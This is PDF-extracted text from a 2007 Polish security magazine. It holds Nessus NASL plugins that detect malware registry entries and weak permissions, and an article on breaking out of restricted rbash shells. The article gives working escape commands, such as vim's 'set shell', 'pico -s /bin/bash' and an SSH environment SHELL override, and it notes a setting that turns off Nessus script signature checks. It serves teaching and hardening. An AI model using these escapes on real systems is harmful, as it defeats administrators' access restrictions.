NetUseDel

();

exit

(

0

);

}

key

 

=

 

"SYSTEM

\C

urrentControlSet

\S

ervices

\N

OD32krn"

;

item

 

=

 

"Start"

;

#open NOD32 key

key_h

 

=

 

RegOpenKey

(

handle

:

hklm

key

:

key

mode

:

MAXIMUM_ALLOWED

);

if

 

(

 

!

 

isnull

(

key_h

)

 

)

{

#catch the value

value

 

=

 

RegQueryValue

(

handle

:

key_h

item

:

item

);

#test if value is set to disable mode

if

 

(!

isnull

 

(

value

)

 

&&

 

((

value

[

1

]

 

==

 

3

)||(

value

[

1

]

 

==

 

4

))

#if so it's stange, we report it

security_note

 

(

port

);

RegCloseKey

 

(

handle

:

key_h

);

}

RegCloseKey

 

(

handle

:

hklm

);

NetUseDel

 

();

background image

hakin9 Nr 8/2007

www.hakin9.org

Początki

22

Listing 6. 

Sprawdzanie obecności konta hax0r z pustym hasłem

if

(

description

)

{

script_id

(

11253

);

script_version

 

(

"$Revision: 1.10 $"

);

script_cve_id

(

"CVE-1999-0502"

);

script_name

(

english

:

"Unpassworded hax0r account"

);

desc

[

"english"

]

 

=

 

"

The account 'hax0r' has no password set. 
An attacker may use it to gain further privileges on this system
Risk factor: High
Solution: Set a password for this account or disable it"

;

script_description

(

english

:

desc

[

"english"

]);

script_summary

(

english

:

"Logs into the remote host"

);

script_category

(

ACT_GATHER_INFO

);

script_family

(

english

:

"Default Unix Accounts"

);

script_copyright

(

english

:

"This script is Copyright (C) 2003 Renaud Deraison"

);

script_dependencie

(

"find_service.nes"

"ssh_detect.nasl"

);

script_require_ports

(

"Services/telnet"

23

"Services/ssh"

22

);

script_require_keys

(

"Settings/ThoroughTests"

);

exit

(

0

);

}

#load needed functions

include

(

"default_account.inc"

);

include

(

"global_settings.inc"

);

if

 

(

 

!

 

thorough_tests

 

)

 

exit

(

0

);

account

 

=

 

"hax0r"

;

#if no optional 2nd parameter is given in check_account(login, password), 

§

it

 #check against an empty password

port

 

=

 

check_account

(

login

:

account

);

if

(

port

)

security_hole

(

port

);

 

Listing 7a. 

Sprawdzanie uprawnień klucza rejestru

if

(

description

)

{

script_id

(

11867

);

script_bugtraq_id

(

2065

);

script_version

 

(

"$Revision: 1.8 $"

);

script_cve_id

(

"CVE-2001-0047"

);

name

[

"english"

]

 

=

 

"SMB Registry : permissions of the Microsoft Transaction Server key"

;

script_name

(

english

:

name

[

"english"

]);

desc

[

"english"

]

 

=

 

"

Synopsis :
A local user can gain additional privileges.
Description:
The registry key HKLM

\S

OFTWARE

\M

icrosoft

\T

ransaction Server

\P

ackages

can be modified by users not in the admin group.
Write access to this key allows an unprivileged user to gain additional 
privileges.
See also:
http://www.microsoft.com/technet/security/bulletin/ms00-095.mspx
Solution: 
Use regedt32 and set the permissions of this key to:
- admin group: Full Control
- system: Full Control
- everyone: Read
Risk factor: 
Medium / CVSS Base Score: 5
(AV:L/AC:L/Au:NR/C:P/A:P/I:P/B:N)"

;

script_description

(

english

:

desc

[

"english"

]);

summary

[

"english"

]

 

=

 

"Determines the access rights of a remote key"

;

script_summary

(

english

:

summary

[

"english"

]);

script_category

(

ACT_GATHER_INFO

);

script_copyright

(

english

:

"This script is Copyright (C) 2003 Tenable Network Security"

);

background image

Podejrzany klucz rejestru

hakin9 Nr 8/2007

www.hakin9.org

23

SOFTWARE\Microsoft\Windows\

CurrentVersion\Run,  aby  wyko-
nywać  autostart  podczas  booto-
wania.

Skrypt (zobacz Listing 3.) otwie-

ra  rejestr,  sprawdza  obecność  po-
dejrzanego  klucza  i  testuje  wartość 
podklucza.

Podejrzana usługa

Czasami  złośliwe  oprogramowanie  in-
staluje  się  jako  usługa,  by  móc  uru-
chamiać  się  automatycznie  podczas 

Listing 7b. 

Sprawdzanie uprawnień klucza rejestru

family

[

"english"

]

 

=

 

"Windows"

;

script_family

(

english

:

family

[

"english"

]);

script_dependencies

(

"netbios_name_get.nasl"

,

"smb_login.nasl"

"smb_registry_access.nasl"

);

script_require_keys

(

"SMB/transport"

"SMB/name"

"SMB/login"

"SMB/password"

"SMB/registry_access"

);

script_require_ports

(

139

445

);

exit

(

0

);

}

#load SMB function

include

(

"smb_func.inc"

);

access

 

=

 

get_kb_item

(

"SMB/registry_access"

);

if

(!

access

)

exit

(

0

);

port

 

=

 

get_kb_item

(

"SMB/transport"

);

if

(!

port

)

port

 

=

 

139

;

#get credential and hostname from kb

name

 

=

 

kb_smb_name

();

 

if

(!

name

)

exit

(

0

);

login

 

=

 

kb_smb_login

();

 

pass

 

=

 

kb_smb_password

();

 

domain

 

=

 

kb_smb_domain

();

 

port

 

=

 

kb_smb_transport

();

#check if port is still open

if

 

(

 

!

 

get_port_state

(

port

)

 

)

 

exit

(

0

);

#open network connection

soc

 

=

 

open_sock_tcp

(

port

);

if

 

(

 

!

 

soc

 

)

 

exit

(

0

);

#init session to hostname

session_init

(

socket

:

soc

hostname

:

name

);

#using given credential

r

 

=

 

NetUseAdd

(

login

:

login

password

:

pass

domain

:

domain

share

:

"IPC$"

);

if

 

(

 

r

 

!=

 

1

 

)

 

exit

(

0

);

#connect to registry key

hklm

 

=

 

RegConnectRegistry

(

hkey

:

HKEY_LOCAL_MACHINE

);

#exit if key does not exist

if

 

(

 

isnull

(

hklm

)

 

)

{

NetUseDel

();

exit

(

0

);

}

key

 

=

 

"SOFTWARE

\M

icrosoft

\T

ransaction Server

\P

ackages"

;

#open key SOFTWARE\Microsoft\Transaction Server\Packages

key_h

 

=

 

RegOpenKey

(

handle

:

hklm

key

:

key

mode

:

MAXIMUM_ALLOWED

 

|

 

ACCESS_SYSTEM_SECURITY

);

#check if key exist

if

(!

isnull

(

key_h

))

{

#get key privilege 

rep

 

=

 

RegGetKeySecurity

 

(

handle

:

key_h

type

:

 

DACL_SECURITY_INFORMATION

 

|

 

SACL_SECURITY_INFORMATION

 

|

 

§

GROUP_SECURITY_INFORMATION

 

|

 

OWNER_SECURITY_INFORMATION

);

#check if key is writable by non admin users

if

(!

isnull

(

rep

)

 

&&

 

registry_key_writeable_by_non_admin

(

security_descriptor

:

rep

))

{

#if so it's a flaw

security_warning

(

port

);

}

#close registry connection

RegCloseKey

 

(

handle

:

key_h

);

}

#close registry connection

RegCloseKey

 

(

handle

:

hklm

);

#close network connection

NetUseDel

();

background image

hakin9 Nr 8/2007

www.hakin9.org

Początki

24

bootowania.  Aby  tej  sztuki  dokonać, 
programy  takie  muszą  dodać  wpis  w 
rejestrze w HKEY_LOCAL_MACHINE\
SYSTEM\CurrentControlSet\Services\
servicename.Następnie  muszą  one 
ustawić  wpis  podklucza  o  nazwie 
«ImagePath»  zawierający  ścieżkę  do 
wykonywalnych  danych,  które  mają 
zostać załadowane do pamięci (Listing 
9.), gdzie driverName lub serviceName 
ma taką samą wartość jak powiązana 
nazwa podklucza Services (w naszym 
przypadku  jest  to  servicename)  (aby 
dowiedzieć  się  więcej,  zobacz:  http:

//support.microsoft.com/kb/103000
Skrypt wykrywający określony wpis w 
rejestrze. Zobacz Listing 4.

Podejrzana 

załadowana usługa

Każdy  wpis  w  HKEY_LOCAL_ 

M A C H I N E \ S Y S T E M \ C u r r e n t 

ControlSet\Services  jest  usługą  i 
posiada klucz startowy (stała REG_

DWORD). Klucz ten określa począt-
kowe wartości dla danych usług . Zo-
bacz Tabela 1. Wartość początkowa 
jest ignorowana dla adapterów. Jeśli 
Typ to wartość Win32 Service, war-
tość początkowa musi być ustawiona 
na AutoDemand, lub Disabled.

Zobacz  również:  http://support. 

microsoft.com/kb/103000 for details.

Przykład  użycia:  robak  o  na-

zwie  W32/Sdbot.worm.gen.by  (zo-
bacz  opis  pod  adresem  http://vil. 

mcafeesecurity.com/vil/content/v_

133133.htm) dodaje podejrzany wpis 
klucza  pod  hkey _local_machine\

system\currentcontrolset\services\

rpcsvc\ imagepath=" %WinDir%\

System32\rpcsvc.exe".

Podejrzana 

wyłączona usługa

Zgodnie z powyższą tabelą, wartość 
klucza ustawiona na 0x3 lub 0x4 mo-
że budzić podejrzenia. Typowym dzia-
łaniem jest sprawdzenie, czy została 
wyłączona usługa antywirusowa.

Działanie plugina przedstawiamy 

na Listingu 5.

Podejrzane konto, 

kradzież hasła

Nessus  posiada  mechanizmy  słu-
żące  do  wykrywania  podejrzanych 

Listing 8. 

Sprawdzanie uprawnień powłoki

#check if Nessus version is up to date enough (>= 2.1.1) to know the 

§

pread

 #function

if

 

(

 

!

 

defined_func

(

"pread"

)

 

)

 

exit

(

0

);

if

(

description

)

{

 

script_id

(

95002

);

 

script_version

 

(

"1.0"

);

 

name

[

"english"

]

 

=

 

"Shell SUID permission"

;

 

script_name

(

english

:

name

[

"english"

]);

 

desc

[

"english"

]

 

=

 

"

This plugin checks wrong permission on /bin/bash and /bin/zsh

Risk factor: High"

;

 

script_description

(

english

:

desc

[

"english"

]);

 

summary

[

"english"

]

 

=

 

"Check SUID bit on shells"

;

 

script_summary

(

english

:

summary

[

"english"

]);

 

script_category

(

ACT_GATHER_INFO

);

 

script_copyright

(

english

:

"This script is Copyright (C) 2007 

§

David Maciejak"

);

 

family

[

"english"

]

 

=

 

"Policy Compliance"

;

 

script_family

(

english

:

family

[

"english"

]);

 

script_dependencies

(

"ping_host.nasl"

"ssh_settings.nasl"

);

 

exit

(

0

);

}

#load SSH functions

include

(

"ssh_func.inc"

);

buf

 

=

 

""

;

port

=

kb_ssh_transport

();

# On the local machine, just run the command

if

 

(

islocalhost

())

{

 #execute command with process read

 

buf

 

=

 

pread

(

cmd

:

 

"ls"

argv

:

 

make_list

(

"ls"

"-l"

"/bin/bash"

§

 

"/bin/ksh"

));

}

else

{

 #try to open or reuse an existing SSH connection

 

sock

 

=

 

ssh_login_or_reuse_connection

();

 

if

 

(!

 

sock

)

  

exit

(

0

);

 #if socket is open, execute command remotely

 

buf

 

=

 

ssh_cmd

(

socket

:

sock

cmd

:

"/bin/ls -l /bin/bash /bin/ksh"

§

 

timeout

:

60

);

 

ssh_close_connection

();

}

if

 

(!

 

buf

)

 

{

 

display

(

"could not execute command

\n

"

);

 

exit

(

0

);

 

}

#split each line from the buffer

lines

=

split

(

buf

);

shells

 

=

 

""

;

foreach

 

line

 

(

lines

)

 

{

#typical line is -rwsr-xr-x 1 root root 664084 2006-04-22 00:51 /bin/bash

   #check for SUID

   

if

 

(

eregmatch

(

pattern

:

 '^

-

..

s

', 

string

:

 

line

icase

:

 

0

))

 

{

      

buf2

=

split

(

line

sep

:

' '

);

      #check file owner

      

if

 

(

chomp

(

buf2

[

2

])

 

><

 

"root"

)

 

{

         #shellname is the last from ls command

         

shellname

=

buf2

[

max_index

(

buf2

)-

1

];

         

shells

 

+=

 '

\n

+

 

shellname

;

      

}

   

}

}

if

 

(

shells

  

>!<

 

""

)

 

{

 

report

 

=

 

desc

[

"english"

]

 

+

 '\

n

\

nPlugin

 

output

 

:

\

n

\

nThe

 

shells

 

below

 

have

 

§

 

incorrect

 

permission

 

:

\

n

+

 

shells

;

 

security_hole

(

port

:

port

data

:

report

);

}

exit

(

0

);

background image

www.hakin9.org

nazw  kont,  kont  bez  hasła  i  dobrze 
znanych par konto/hasło.

Poniżej przedstawiamy działanie 

pluginu sprawdzającego, czy w sys-
temie istnieje konto o nazwie hax0r 
z  pustym  hasłem.  Cała  praca  opie-
ra się na funkcji 

check _ account

, któ-

ra próbuje za pomocą protokołów tel-
net lub ssh połączyć się ze zdalnym 
celem. Zobacz Listing 6.

Użytkownicy  aplikacji  Nessus  3 

mogą korzystać z opcji sprawdzania 
zgodności.  Mogą  poddawać  audyto-
wi  konfigurację  urządzeń  systemów 
UNIX  i  Windows.    Mogą  sprawdzać 
minimalny/maksymalny okres ważno-
ści  hasła,  minimalną  długość  hasła, 
złożoność hasła i mają do dyspozycji 
jeszcze wiele innych możliwości.

Przykład:

<item>
name: "min_password_length"

description: "Minimum password length"
value: "14..MAX"
</item>

Ten audyt sprawdza, czy minimalna 
długość hasła w systemie UNIX wy-
nosi 14 znaków.

Aby  dowiedzieć  się  więcej,  zo-

bacz:  http://cgi.tenablesecurity.com/

nessus_compliance_checks.pdf.

Podejrzane przywileje 

lub uprawnienia obiektu

Przywilej w rejestrze SMB może być 
niezgodny z polityką bezpieczeństwa, 
co z kolei może doprowadzić do ujaw-
nienia  informacji  umożliwiającej  nie-
powołanemu  użytkownikowi  dostęp 
do danych. Skrypt (Zobacz Listing 7) 
sprawdzający  HKLM\SOFTWARE\

Microsoft\Transaction  Server\Pack- 

ages, zobacz też MS00-095,

W rodzinie systemów UNIX moż-

na  niekiedy  sprawdzić  uprawnie-
nia  za  pomocą  lokalnych  pluginów. 
Skrypt  (zobacz  Listing  8.)  testuje, 
czy  zwykłe  powłoki  mają  SUID  ro-
ota;  ten  rodzaj  luki  może  potencjal-
nie dać atakującemu nieautoryzowa-
ny dostęp z poziomu roota.

Zauważmy,  że  ten  rodzaj  skryp-

tu  wykorzystującego  polecenia  ze-
wnętrzne  musi  być  podpisany  przez 
zespół Nessus dla celów bezpieczeń-
stwa (za pomocą polecenia 

nasl -S

), 

zanim  zostanie  użyty.  Należy  usta-
wić  opcję  nasl_no_signature_check 
na  wartość  yes  w  nessusd.conf,  co 
spowoduje, że serwer Nessus doko-
na  obejścia  jakichkolwiek  sygnatur 
skryptów  i  serwer  Nessus  wczyta/
wykona skrypty bez względu na au-
tentyczność sygnatur.

W systemach Windows, taki plu-

gin  może  również  zostać  wykonany 
poprzez połączenie SMB lub instala-
cję serwera SSH.

Jeśli  posiadasz  Nessus  3  direct 

feed,  powinieneś  przeprowadzić 
sprawdzanie zgodności.

Audyt  FILE_CHECK  jest  wyko-

rzystywany  do  wykrywania  danego 
pliku i jego ustawień. Na Listingu 10. 
możesz zobaczyć odpowiednik tego, 
co robi skrypt. l

Listing 9. 

Fragment rejestru 

systemu Windows

ImagePath

 

REG_DWORD

 

Path

 

and

 

filename

Specifies

 

a

 

path

 

name

.

For

 

adapters

this

 

value

 

is

 

ignored

.

Default

:

 

For

 

a

 

driver

:

%

WinDir

%

\

SYSTEM32

\

DRIVERS

§

driverName

.

SYS

For

 

a

 

service

:

%

WinDir

%

\

SYSTEM32

§

serviceName

.

EXE

Listing 10. 

Przykład audytu

<

custom_item

>

sytem

:

 

"Linux"

type

:

 

FILE_CHECK

description

:

 

"Permission and

ownership check for /bin/bash"

file

:

 

"/bin/bash"

owner

:

 

"root"

group

:

 

"root"

mode

:

 

"-rwxr-xr-x"

<

/

item

>

O autorze

David  Maciejak  mieszka  we  Francji, 
jest specjalistą do spraw zabezpieczeń. 
Spędził nieco swojego wolnego czasu, 
pracując  nad  opensourceowymi  pro-
jektami,  takimi  jak  Nessus,  Metasplo-
it oraz Snort.
Kontakt z autorem: koma@kyxar.fr

background image

www.hakin9.org

hakin9 Nr 8/2007

26

Atak

R

estrykcyjna  powłoka  (restricted  shell
to  powłoka  systemowa  zmodyfikowa-
na w taki sposób, aby ograniczyć za-

kres  możliwości  użytkownika.  Taka  powło-
ka  zwykle  znajduje  zastosowanie  w  momen-
cie,  gdy  administrator  stoi  przed  konieczno-
ścią  utworzenia  konta  dla  użytkownika,  któ-
ry nie jest w pełni zaufany. Chodzi tu o to, by 
zapobiec takim sytuacjom jak np. zbieranie in-
formacji  o  systemie  i  jego  użytkownikach  po-
przez odczyt plików konfiguracyjnych czy uru-
chamianie  programów  systemowych  zdradza-
jących  istotne  informacje.  Czasem  zachodzi 
też  potrzeba  ochrony  użytkownika  przed  sa-
mym  sobą  –  niewprawny  użytkownik,  korzy-
stając z narzędzia, które nie jest mu do końca 
znane, mógłby wykasować część plików zgro-
madzonych na jego koncie czy też – poprzez 
nadanie złych uprawnień – udostępnić plik oso-
bom niepowołanym. Przykładem zastosowania 
restrykcyjnej powłoki może być serwer poczto-
wy, na którym nie działa serwer WWW. Nie ma 
zatem panelu pocztowego, na którym użytkow-
nicy  mogliby  sprawdzać  swoją  pocztę  zdalnie 
(poprzez  przeglądarkę  WWW).  Administrator 
może pokusić się tutaj o przyznanie użytkowni-
kom restrykcyjnej powłoki, tak aby po zdalnym 

połączeniu możliwe było uruchomienie klienta 
pocztowego  oraz  programu  passwd  -  w  celu 
zmiany hasła do konta.

Tworzenie restrykcyjnego 

środowiska

Administratorzy  w  celu  utworzenia  restrykcyj-
nego środowiska zazwyczaj wykorzystują stan-
dardowe  powłoki  dostępne  w  systemie,  takie 

Restrykcyjne powłoki 

– jak je obejść?

Dawid Gołuński

stopień trudności

Administratorzy, chcąc ograniczyć swobodę użytkowników 

systemu, decydują się na ustawienie restrykcyjnej powłoki, tak 

aby umożliwić wykonywanie tylko wybranych komend. Niestety, 

utworzenie w pełni restrykcyjnego środowiska nie jest rzeczą 

łatwą, a najdrobniejsze przeoczenie może zezwolić sprytnemu 

użytkownikowi na wydostanie się z pułapki.

Z artykułu dowiesz się

•   czym są, oraz jak działają restrykcyjne powłoki,
•   w jaki sposób zbudowane jest typowe restryk-

cyjne środowisko,

•   poznasz sposoby na wydostanie się z ograni-

czonego shella,

•   czego użyć do zbudowania bardziej niezawod-

nego restrykcyjnego środowiska.

Co powinieneś wiedzieć

•   posiadać wiedzę na temat pracy z systemową 

powłoką,

•   znać  przynajmniej  podstawy  działania  syste-

mów z rodziny linux/unix,

•   znać podstawy języka C.

background image

Restrykcyjne powłoki

hakin9 Nr 8/2007

www.hakin9.org

27

jak bashsh czy ksh. Powłoki te, od-
powiednio wywołane, mogą stać się 
powłokami  restrykcyjnymi.  Zwykle 
wystarczy wywołać plik powłoki pod 
nazwą zaczynającą się od litery r. Dla 
powłoki bash, będzie to rbash, dla sh 
rsh itd. Wygodnie jest tutaj posłużyć 
się dowiązaniem symbolicznym: 

ln -s /bin/bash /bin/rbash

Innym  sposobem  jest  wywoła-
nie  powłoki  z  parametrem 

-r

,  lub 

-restricted

Powłoka  uruchomiona  w  takim 

trybie  będzie  nakładała  ogranicze-
nia. Najbardziej istotne z nich to:

•   brak możliwości zmiany katalogu 

poleceniem 

cd

,

•   użytkownik może uruchamiać je-

dynie komendy zawarte w zmien-
nej 

PATH

 lub wbudowane w samą 

powłokę,

•   brak  możliwości  zmiany  zmien-

nych  środowiskowych 

SHELL

PATH

ENV

BASH _ ENV

,

•   zabronione  uruchamianie  ko-

mend  zawierających  ścieżkę  do 
pliku (np. 

/bin/ls

),

•   zabronione  przekierowanie  wyj-

ścia aplikacji przy użyciu opera-
torów jak 

>

 czy 

>>

,

•   wyłączona komenda 

exec

.

Po  utworzeniu  restrykcyjnej  powło-
ki,  w  postaci  symbolicznego  linku 
– rbash, jesteśmy gotowi, aby przypi-
sać ją danemu użytkownikowi. Można 
tego dokonać, edytując bezpośrednio 
plik passwd lub wydając komendę:

usermod -s /bin/rbash john

Niekiedy konieczne może okazać się 
dodanie  linijki  /bin/rbash  do  pliku  /

etc/shells, w przeciwnym razie część 
usług (jak np. serwer FTP) może od-
mówić zalogowania użytkownika.

Ustawienie  samej  powłoki  to  nie 

wszystko; kolejnym krokiem jest przy-
gotowanie katalogu użytkownika. Ka-
talog  ten  powinien  mieć  ustawione 
prawa 511 (najlepiej gdyby jego wła-
ścicielem był root, a nie użytkownik). 
Wewnątrz  katalogu  należy  utworzyć 
plik .bash_profile ustawiając mu pra-

wa dostępu 444 oraz właściciela ro-

ot. Poza katalogiem domowym użyt-
kownika  należy  utworzyć  katalog,  w 
którym umieszczone zostaną wybra-
ne  programy.  Może  to  być  np.  /usr/

local/rbin. W katalogu tym umieścimy 
dowiązania symboliczne do aplikacji, 
które chcemy udostępnić, np.

ln –s /usr/bin/passwd \
      /usr/local/rbin/passwd

Ostatnim  krokiem  jest  edycja  pli-
ków konfiguracyjnych powłoki. W pli-
ku  /etc/profile  znajdują  się  globalne 
ustawienia. Aby wpisy z tego pliku nie 
miały wpływu na ustawienia powłoki 

rbash, jego zawartość należy zamie-
ścić w ramach instrukcji warunkowej:

if [ ”$0” = ”-bash” ]; then
#tutaj wstawić dotychczasową zawartość#
#pliku /etc/profile                   #
fi

Natomiast  lokalny  plik  ustawień 

.bash_profile powinien zawierać tyl-
ko jedną linijkę –   określającą ścież-
kę  do  katalogu  z  przygotowanymi 
wcześniej programami:

export PATH=/usr/local/rbin

Ewentualnie,  jeśli  chcemy  odebrać 
użytkownikowi  możliwość  wykony-
wania niektórych poleceń wewnętrz-
nych, musimy na końcu pliku dopisać 
linijkę  zawierającą  komendę 

enable 

–n

, po której podajemy komendy, ja-

kie chcemy wyłączyć. Np.: 

enable –n pwd unset

Jak to działa?

Gdy użytkownik zaloguje się do sys-
temu  (ssh),  zostanie  przeniesio-
ny  do  katalogu  domowego,  a  na-
stępnie  uruchomiana  jest  powłoka 

/bin/rbash.  Powłoka  wczytuje  pliki 
konfiguracyjne  poczynając  od  /etc/

profile. Instrukcja warunkowa zawar-
ta na początku sprawdza, czy zero-
wy argument (

argv[0]

) jest równy cią-

gowi  znaków  -bash.  W  przypadku 
powłoki rbash argument 

0

 jest równy 

-rbash  toteż  polecenia  zgromadzo-
ne  wewnątrz  warunku 

if

  nie  zosta-

Rysunek 1. 

Ograniczenia wprowadzane przez powłokę rbash

Błąd w programie bash

Na  niektórych  systemach  utworzenie 
linku  rbash  oraz  ustawienie  go  jako 
shella  nie  przynosi  zamierzonego  re-
zultatu – powłoka nie rozpoczyna pra-
cy w trybie restrykcyjnym. Jest to błąd, 
który został załatany w wersji 3.0 pro-
gramu  bash.  Można  ominąć  ten  pro-
blem  poprzez  utworzenie  pośrednie-
go skryptu:

#!/bin/bash
/bin/rbash –l

Taki  skrypt  należy  zapisać  jako  np. 
/bin/rshell, nadać mu prawo wykonywa-
nia, a następnie ustawić go jako powło-
kę.  Po  zalogowaniu  powinniśmy  otrzy-
mać rbasha działającego już z restryk-
cjami. Lepiej jednak rozważyć aktualiza-
cję do wersji 3.0.

background image

hakin9 Nr 8/2007

www.hakin9.org

Atak

28

ną wykonane. Powłoka przejdzie do 
wykonania lokalnego pliku konfigura-
cyjnego – .bash_profile, który ustawi 
zmienną środowiskową 

PATH

. Dziwić 

może fakt zmiany tej zmiennej, gdyż 
zgodnie z tym, co wcześniej napisa-
łem  –  jednym  z  ograniczeń  powłoki 

rbash jest ustawienie zmiennej 

PATH

 

w stan tylko do odczytu. Powodowa-
ne jest to tym, że wszystkie wymie-
nione ograniczenia wprowadzane są 
dopiero po załadowaniu plików star-
towych (dlatego tak istotne jest usta-
wienie właściwych uprawnień).

Wydostajemy 

się z pułapki

Utworzone według przedstawionego 
schematu  restrykcyjne  środowisko 
zdaje  się  być  bezpieczne.  Niestety, 
bezpieczeństwo  to  jest  ściśle  zwią-
zane z udostępnionymi programami, 
jak też z – pozornie niezwiązanymi z 
tym  środowiskiem  –  usługami  dzia-
łającymi  na  serwerze.  Poniżej  po-
staram się pokazać kilka przykłado-
wych sytuacji, w których możliwe jest 
ominięcie zabezpieczeń powłoki.

Operacje na plikach

Niektórzy  administratorzy  zapomi-
nają o fakcie, że restrykcyjna powło-
ka rbash nie zamyka użytkownika w 
specjalnie  odseparowanym  drzewie 
katalogów  (wykorzystując  funkcję 

chroot()

)  –  blokuje  ona  jednie  zmia-

nę katalogu za pomocą komendy 

cd

Zapominają również o tym, że odwo-
łania do plików zawierających ścież-
kę dostępową blokowane są tylko w 
przypadku,  gdy  użytkownik  próbu-
je odwołać się bezpośrednio do apli-
kacji  np.  /bin/ls  lub  też  wykonać  in-
strukcje 

exec  /etc/profile

 czy 

source 

/etc/profile

.  Oznacza  to,  że  jeśli 

użytkownik  ma  dostęp  do  programu 

pico, to nic nie stoi na przeszkodzie, 
aby po wydaniu komendy: 

pico /etc/

passwd

 ujrzał on plik passwd

Shell escape

Większość  programów  nie  była  nie-
stety  pisana  pod  kątem  współpracy 
z  restrykcyjnymi  powłokami.  Niektóre 
z  nich  zawierają  wbudowaną  funkcję 
pozwalającą na odwołanie się do po-
włoki (shell escape). Zazwyczaj funk-

cję  tą  wywołuje  się  przy  użyciu  zna-
ku  !.  Przydaje  się  to  np.  w  momen-
cie,  gdy  pracując  pod  kontrolą  klien-
ta FTP chcemy obejrzeć listę plików w 
bieżącym katalogu. Nie musimy wtedy 
otwierać  nowej  sesji  SSH,  wystarczy 
bowiem, że wydamy w linii poleceń ko-
mendę: 

! ls -l

. Przykłady standardo-

wych programów dostępnych w syste-
mie i oferujących shell escapetelnet

mailftplessmorevigdblynx.

Można  by  się  spodziewać,  że 

przekazane  komendy  zostaną  wy-
konane  w  oparciu  o  powłoką  zdefi-
niowaną  w  zmiennej 

SHELL

  –  w  na-

szym  przypadku  /bin/rbash.  Nieste-
ty  nie  zawsze  tak  jest.  Część  pro-
gramów nie zwraca uwagi na zmien-
ne środowiskowe  – wykonując prze-
kazane polecenia przy użyciu trwa-
le ustalonej (w kodzie programu) po-
włoki – /bin/bash czy też /bin/sh

Ciekawym przykładem może być 

tutaj program vim. Zwraca on wpraw-
dzie uwagę na zmienną środowisko-
wą 

SHELL

 – po rozpoczęciu pracy ko-

piuje  jej  zawartość  do  wewnętrznej 
zmiennej shell. Problem polega jed-
nak  na  tym,  że  ustawienia  progra-
mu vim możemy dowolnie edytować 
w  czasie  jego  działania.  Wystarczą 
do tego dwie komendy wydane w li-
nii poleceń, (do której dostaniemy się 
sekwencją klawiszy [ESC][:]) :

•  

set shell=/bin/bash

•  

shell

Możemy  również  wydać  te  dwie  ko-
mendy  już  przy  wywołaniu  edytora 

vim. Służy do tego parametr 

--cmd

, co 

ilustruje Rysunek 3. W efekcie, otrzy-
mamy  powłokę  bash,  bez  restrykcji. 
Warto tutaj zaznaczyć, że vim pozwa-
la na zablokowanie możliwości korzy-
stania z powłoki. Wystarczy, że – po-
dobnie jak w przypadku basha – utwo-
rzymy link symboliczny o nazwie rvim
Od tej pory, próba wykonania komen-
dy 

shell

 skończy się komunikatem:

Shell commands not allowed in rvim

Rysunek 2. 

Użycie funkcji shell escape w programach telnet, gdb oraz ftp

Rysunek 3. 

Uruchomienie powłoki /bin/bash przy pomocy funkcji shell 

edytora vim

background image

Restrykcyjne powłoki

hakin9 Nr 8/2007

www.hakin9.org

29

Odwołania do pomocniczych 

programów

Niektóre  programy  użytkowe,  mając 
na  celu  przeprowadzenie  pewnych 
operacji,  odwołują  się  do  zewnętrz-
nych  aplikacji,  np.  popularny  edy-
tor  pico  odwołuje  się  do  programu 

ispell, w celu sprawdzenia poprawno-
ści edytowanego tekstu, przeglądar-
ki  links oraz lynx wywołują program 
pocztowy, ilekroć otworzymy link za-
czynający się od mailto: itd. 

Problem pojawia się w momen-

cie,  gdy  użytkownik  ma  możliwość 
określenia ścieżki do programu. Nic 
nie stoi wtedy na przeszkodzie, aby 
zamiast ścieżki do programu  ispell 
–   podać ścieżkę do zupełnie innej 
aplikacji. W zależności od sposobu, 
w jaki uruchamiany jest zewnętrzny 
program (w tym użyte przełączniki) 
– istnieje szansa na poprawne wy-

konanie wybranej przez nas aplika-
cji, którą może być program bash

W  przypadku  programu  pico 

sprawa jest prosta. Ścieżkę do pro-
gramu  ispell  możemy  zmieniać  za 
pomocą przełącznika 

-s

:

pico -s /bin/bash

Po uruchomieniu edytora, wpisujemy 
komendy, jakie chcemy przekazać do 
powłoki bash, oddzielając je znakami 
nowej  linii.  Edycję  kończymy  kombi-
nacją  klawiszy  [CTRL][T],  która  od-
powiada  za  przekazanie  bufora  edy-
cji do zdefiniowanego programu. Prze-
kazanie to odbywa się poprzez zapis 
bufora do tymczasowego pliku, a da-
lej przekazanie ścieżki do niego jako 
argument:

/bin/bash /tmp/pico.xxxx

Efektem tak utworzonego polecenia, 
będzie  zinterpretowanie  tymczaso-
wego pliku pico – zupełnie tak, jakby 
był on zwyczajnym skryptem bash.

Sporo  programów  pozwala  na 

zdefiniowanie  ulubionego  edyto-
ra  tekstu  (np.  pine).  Nawet  jeśli  nie 
widać  możliwości  dokonania  takiej 
zmiany  w  konfiguracji  samego  pro-
gramu  ani  w  dostępnych  przełącz-
nikach  -  należy  sprawdzić,  czy  pro-
gram nie korzysta ze zmiennej środo-
wiskowej o nazwie 

EDITOR

 lub 

VISUAL

Zmienne  te  nie  są  chronione  przez 
restrykcje  rbasha,  a  zatem  można 
przypisać im dowolną ścieżkę.

Podmiana zmiennej $SHELL

Jeżeli na serwerze działa serwer SSH, 
a opcja 

PermitUserEnvironment

 znajdu-

jąca się w pliku konfiguracyjnym usłu-
gi  sshd_config  jest  ustawiona  na 

ON

 

(opcja  ta  domyślnie  jest  wyłączona) 
–  istnieje  szansa  na  zmianę  niektó-
rych zmiennych środowiskowych, któ-
re mogą mieć poważny wpływ na dzia-
łanie rbasha. Jest to możliwe, gdyż de-

amon  sshd  zaraz  po  uwierzytelnie-
niu  użytkownika  ustawia  podstawo-
we zmienne środowiskowe, a następ-
nie wczytuje plik .ssh/environment, je-
śli takowy istnieje. Przypuśćmy, że w 
pliku tym znalazłaby się linijka:

SHELL=/bin/bash

Co  się  wtedy  stanie?  Deamon  SSH 
po  zalogowaniu  użytkownika  ustawi 
zmienną 

SHELL

 na wartość /bin/rbash 

w oparciu o informacje z pliku passwd
jednak zaraz po odczycie pliku envi-

ronment zmienna ulegnie nadpisaniu. 

Do przeprowadzenia takiego ata-

ku konieczne jest (oprócz wspomnia-
nej  konfiguracji  sshd)  istnienie  ka-
talogu  .ssh  (ewentualnie  dostęp  do 
polecenia 

mkdir

)  z  możliwością  zapi-

su. Gdy katalog domowy ma upraw-
nienia +rx, możemy w prosty sposób 
wylistować  jego  zawartość-  używa-
jąc  (wbudowanej)  komendy 

echo  *

  . 

Konieczny będzie również dostęp do 
aplikacji,  która  pozwoli  na  utworze-
nie pliku environment. Nie musi to być 
edytor tekstu, równie dobrze w tej ro-
li sprawdzi się popularny klient pocz-
towy pine

Rysunek 4. 

